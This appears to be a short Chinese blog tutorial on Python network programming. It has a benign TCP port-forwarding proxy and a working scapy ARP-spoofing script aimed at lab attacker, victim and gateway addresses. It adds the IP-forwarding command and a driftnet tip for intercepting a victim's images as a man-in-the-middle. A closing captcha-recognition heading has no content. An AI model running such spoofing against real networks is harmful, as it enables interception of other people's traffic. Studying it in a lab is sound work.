python之网络编程

proxy:

#coding:utf-8

from socket import *
from sys import *

LPORT = int(argv[1])
THOST = argv[2]
TPORT = int(argv[3])


MainSock = socket(AF_INET,SOCK_STREAM)
TargetSock = socket(AF_INET,SOCK_STREAM)

def SetSocket(PORT):
    MainSock.bind(('',PORT))
    MainSock.listen(1)

def Ldata(MainSock):
    Lsock,Laddr = MainSock.accept()
    num = 1
    while True:
        
        Ldata = Lsock.recv(1024)
        print "Data From Local:%s" %(Ldata)
        Tdata = forward(Ldata,THOST,TPORT,num)
        Lsock.send(Tdata)
        num =2

def forward(Ldata,THOST,TPORT,num):
    if num == 1:
        TargetSock.connect((THOST,TPORT))
        TargetSock.send(Ldata)
        Tdata = TargetSock.recv(1024)
        print "Data from Server:",Tdata
        #TargetSock.close()
        return Tdata
    else:
        TargetSock.send(Ldata)
        Tdata = TargetSock.recv(1024)
        print "Data from Server:",Tdata
        #TargetSock.close()
        return Tdata

    
if __name__ == "__main__":
    SetSocket(LPORT)
    Ldata(MainSock)

 ARP欺骗:

 1 #coding:utf-8
 2 
 3 from scapy.all import *
 4 #攻击机:192.168.126.1(kali)
 5 #被攻击机:192.168.126.2
 6 #网关:192.168.126.3
 7 
 8 lip = "192.168.126.1"
 9 lmac = get_if_hwaddr('eth0')  #由网卡获取mac地址的函数(本机) 
10 tip = "192.168.126.2"
11 tmac = getmacbyip(tip) #由ip获取mac的函数
12 gip = "192.168.126.3"
13 gmac = getmacbyip(gip)
14 
15 #构造arp数据包
16 pack = Ether(dst=tmac,src=lmac)/ARP(op=1,hwsrc=lmac,psrc=gip,hwdst=tmac,pdst=tip)
17 #op:代表请求,hwsrc:源mac,psrc:源ip,hwdst:目的mac,pdst:目的ip
18 
19 while True:
20 #发送数据包,每两秒发送一个
21     sendp(pack,inter=2,iface="eth0")

 开启ip转发(kali):

sysctl net.ipv4.ip_forward=1

结合kali/bt5的小工具:driftnet,将hwsrc配置成网关mac,就可以截取图片,实现中间人攻击

编写图片验证码识别脚本:

需要安装的库(1,3可以pip安装,第二个需要下载源码,编译成exe文件,如果出现错误,将该文件放在python根目录)

 

posted @ 2017-09-15 13:15  黑暗中的小郎君  阅读(201)  评论(0编辑  收藏  举报